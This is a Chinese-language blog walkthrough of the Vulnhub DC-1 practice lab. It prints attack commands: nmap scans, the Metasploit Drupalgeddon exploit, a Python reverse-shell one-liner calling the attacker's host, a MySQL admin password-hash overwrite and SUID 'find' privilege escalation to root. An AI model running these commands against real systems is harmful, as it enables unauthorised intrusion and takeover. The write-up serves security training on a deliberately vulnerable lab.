Vulnhub_DC系列靶场-DC1攻略
发表于:2023-03-05 | 分类: DC靶场系列教程

0x00 靶场介绍

这是DC系列靶场的第一个靶场DC1,靶场的渗透目标是穿透目标的web服务,获取到Linux系统的root权限。

0x01 渗透测试

0x01扫描主机

在搭建完靶场后,我们老样子,扫描一下相关的内网主机和相关的端口,使用nmap进行扫描。由于攻击机kali所在的ip为192.168.23.131,那么我们可以尝试对该网段进行扫描,扫描命令如下:

nmap -sP 192.168.23.0/24

经过扫描我们发现,和攻击机kali在同一个网段底下的主机有以下这些:

其中,很明显我们可以发现,有一台主机:192.168.23.135,这台主机很可能就是我们的靶机所在的地址。我们再次对其进行端口扫描以及操作系统指纹识别试试看:

nmap -sT 192.168.31.135 -O

那么再次经过扫描以后呢,我们发现主机开放了22(ssh)、80(http)、111(rpc)服务,这个主机的OS是Linux,那么我们基本上能够确信是这个主机无疑了。进入web页面看一下,果然到了DC1的主页,而且此时我的wappalyzer插件已经识别出了文件管理系统cms版本为7.0,使用的语言为php,操作系统为debian,web服务器为apache。

使用msf框架拿到shell

那么既然是用的drupal7.0这个版本的cms,就可能存在着版本漏洞,直接使用MSF框架试试看,经过search,发现了下面的这些攻击模块:

后来经过测试后发现,第三个模块是有作用的,甚至我们通过这个模块可以直接拿到shell,具体的操作命令如下:

use exploit/multi/http/drupal_drupageddon
show options
set rhosts 192.168.23.135
exploit

然后我们
便拿到了一个新的handler,输入shell即可进入后台,然后我们在主后台拿到了flag1。

通过flag1的提示我们直到作者希望我们去查找这个网站cms的配置文件来获得密码,那么我们需要寻找文件,但是我们发现了通过msf框架获得shell具有缺陷,无法修改所在的文件夹,即这个东西不是一个真正的shell,所以我们可能需要反弹shell来获得更高级的命令行。

通过python进行shell反弹

Linux系统一般自带python,可以只用python来配合nc进行反弹shell。

在本地使用nc进行监听:

nc -lvp 1234

然后通过服务器执行如下的脚本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功,成功创建了shell:

好的,此时我们就能将其当作常规的terminal进行使用了,我们接下来就要尝试寻找网站的配置文件,通过百度我们直到,drupal的配置文件是在一个settings.php中的,我们寻找这个文件:

find ./ -name settings.php

发现在当前目录的./sites/default/settings.php中有这个文件,我们查看一下内容,发现了flag2以及泄露的账户密码,如下:

我们直接回到web进行登录,但是提示登录失败,难道这个不是web用户的密码么?那应该是……msyql数据库的密码?试试看。

连接数据库

mysql -dbuser -pR0ck3t
show databases;
use drupaldb;
show tables;

果然直接进去了,我们来到上面的数据库,然后查表:

然后就是痛苦的查表过程,我尝试查看users表中的密码,但是密码都是加密的,无法破解,于是只能另辟蹊径。这时候一个叫node的表吸引了我的注意,我查看了一下,居然发现了flag3!

从上面来看,flag4应该是一个博客的标题,但是具体存在哪里,我们依然不清楚。那么我们可以使用table_schema这个特殊的表来帮助我们进行查找:

select column_name from information_schema.columns where table_schema = "flag4" and table_name = "flag3";

但是依然无果,很烦了,还是继续找资料吧。后来在百度上找到了更改drupal密码的方法,是这样的:

php ./scripts/password-hash.sh newpassword

这时候会输出一个hash,然后我们需要替换掉数据库的密码,啊,真烦!

update users set pass="$S$D7CiVJNiXjmOYSbIW6DJ7f3UUyn4VM3p3bbSm.LbKK.Ylgd.qr.t" where uid=1;

终于进入后台了,在后台的DashBoard拿到了flag3:

获得提示,让我们回到shell寻找flag4,我查看了passwd文件,发现了flag4

然后我们需要提权到root进行获得最终的flag

find提权

which find
ls -l /usr/bin/find

发现可以提权的标志

然后使用find运行shell反弹
首先查看哪些命令具有root权限标志

find / -perm -4000 2>/dev/null

然后使用find寻找这些文件来反弹root的shell,然后发现最后的flag就在root目录底下。

touch haha
find -name haha -exec "/bin/sh" \;

至此,渗透过程结束。

总结

本次渗透过程挺曲折的,绕了好多弯路,希望以后还是能够多多积累经验,让自己变得更加熟练起来!

特此声明:本攻略只做学习交流,不要用于任何非法行为,否则后果自负!!!

上一篇:
Vulnhub_DC系列靶场-DC3攻略
下一篇:
Vulnhub_DC系列靶场-DC2攻略